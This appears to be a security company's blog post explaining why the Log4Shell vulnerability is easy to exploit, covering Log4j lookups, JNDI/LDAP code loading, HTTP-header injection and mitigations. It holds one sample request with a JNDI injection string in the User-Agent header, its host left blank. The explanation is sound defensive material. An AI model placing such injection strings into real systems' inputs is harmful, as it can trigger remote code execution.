Log4J / Log4Shell (Part 2): Why so easy to exploit


Remote Code Execution (RCE)

First, let’s clarify why this vulnerability – at least its more dangerous variants – is so critical.

For an attacker, the most powerful action is to be able to run any code that they want in the target system. That’s exactly what an RCE vulnerability allows them to do.

In Log4Shell this type of attack is possible because of an “advanced” feature in the Log4j mechanism. When writing logs with Log4j, a developer can insert some special instructions in the text being logged. Those instructions are wrapped in a specific tag (“${…}”) and tell Log4j to replace the whole tag with a value obtained from the instructions inside the tag.

Most of the time these instructions just tell Log4j to use a value from the execution environment – process ID, memory, etc. – which can be useful when analysing the logs for troubleshooting. So, it is basically a string interpolation mechanism. However, it also allows the developer to fetch values stored in a remote LDAP server using the JNDI API, e.g.:


This doesn’t sound too bad if it wasn’t for the fact that JNDI can be tricked into fetching code from the LDAP server and running it locally – while it’s trying to resolve the reference inside the ${} tag.

And that’s how Log4j is potentially open to an RCE attack.

The mechanism is clearly explained in the Veracode post:

How a simple HTTP request can trigger it?

The RCE scenario explained above represents a potential weakness of the Log4j mechanism but, as long as (trusted) developers control which “instruction tags” go into the logs, it doesn’t have to be exposed to external actors.

This is where the HTTP request comes into play. Not because it has some dangerous features, but because most services processing HTTP requests have a habit of logging all, or most of, the details of the request itself. That’s where pieces of text that are not under the developers’ control get handled by Log4j; including the processing of the special instruction tags. If you can include those tags in the HTTP request, then they will probably be written to a log at some point during the processing of the request. And it’s very easy to make any string part of the HTTP request without affecting the request itself; for example, using custom headers.

GET / HTTP/1.1
User-Agent: ${jndi:ldap://}

Are there other simple attack vectors?

Unfortunately, yes. This vulnerability can be exploited just by getting Log4j to write logs with text controlled by the attacker. Any mechanism that allows external users to “inject” text into an application are potential attack vectors, and that’s what most applications are there for!

Now, most user input doesn’t ever get written to a log, but quite a bit of the metadata that comes with that input is logged, either as a matter of course or as a response to an error.

HTTP requests, email details, data input into a form, “hidden” data sent along with forms, etc., all can be written to a Log4j log at some point. Some of them with more frequency than others, but attackers just need to try different avenues until they find a vulnerable path.

Some good news

But it’s not all doom and gloom. Yes, this is a very dangerous vulnerability and all organisations need to ensure they scan their systems, but there are several actions that can mitigate and/or eliminate the vulnerability.

Given that the Log4Shell attack mechanism relies on a number of steps working in a specific manner, there are “breakpoints” at with the attack can be foiled:

  • Block or “sanitise” external inputs. This is a general application security rule that is systematically used to prevent malicious code injections in SQL and Javascript; however, it’s not that common to check for the Log4j tags.
  • Disable or update Log4j across your platforms. This is the best approach in the long term.
  • Disable JNDI lookup. Another good action to break the attack, but it might not work for all scenarios.
  • Disable Java remote execution.

These are nicely illustrated in this diagram created Swiss Government.

The log4j JNDI attack

Other posts in this series

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Explore ASPM’s role in modern application security, offering a panoramic view that extends beyond code vulnerabilities. This guide demystifies concepts like traceability, reachability analysis, and asset lineage, pivotal for securing digital assets. Learn how ASPM empowers organizations with actionable insights for precise vulnerability management. #Cybersecurity #ASPM #ApplicationSecurity
Francesco Cipollone
Explore the transformative role of ASPM in cybersecurity. Uncover how Application Security Posture Management aligns business and security objectives for effective vulnerability management and risk reduction. Discover Phoenix Security’s innovative approach to tackling the staggering challenge of CVEs with a strategic focus on prioritization. #ASPM #Cybersecurity #VulnerabilityManagement
Francesco Cipollone
Explore the critical insights into the latest container security vulnerabilities named leaky vessels, including CVE-2024-21626, CVE-2024-23651, CVE-2024-23653, and CVE-2024-23652, BuildKit flaws, with our comprehensive guide on mitigation strategies, best practices for application security, and tips for robust vulnerability management in Docker and Kubernetes environments. Stay ahead in securing your container deployments against potential threats with ASPM help
Francesco Cipollone

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris Romeo

Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

Jim Manico

Founder of Manicode Security

Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.